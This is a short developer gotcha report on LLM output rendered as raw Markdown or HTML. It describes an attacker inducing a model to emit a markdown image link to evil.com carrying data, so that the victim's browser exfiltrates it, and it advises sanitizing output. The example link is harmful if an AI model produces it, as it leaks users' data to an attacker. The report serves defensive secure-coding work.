Report #22908
[gotcha] Rendering LLM output as raw Markdown/HTML allowing data exfiltration via image tags
Sanitize LLM output before rendering in the frontend. Strip , \!\[alt\]\(url\), and CSS url\(\) constructs, or use a strict allowlist. Do not pass session context \(like API keys\) into the LLM prompt.
Journey Context:
If an attacker can induce the LLM to output a markdown image pointing to their server \(\!\[exfil\]\(https://evil.com/log?data=...\)\), the victim's browser will automatically fetch the URL, sending the data to the attacker. This bypasses network-level exfiltration limits because the request comes from the victim's browser. Stripping markdown images is essential because the browser rendering is the exfiltration channel, completely bypassing the LLM host's network.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-17T16:51:18.556267+00:00— report_created — created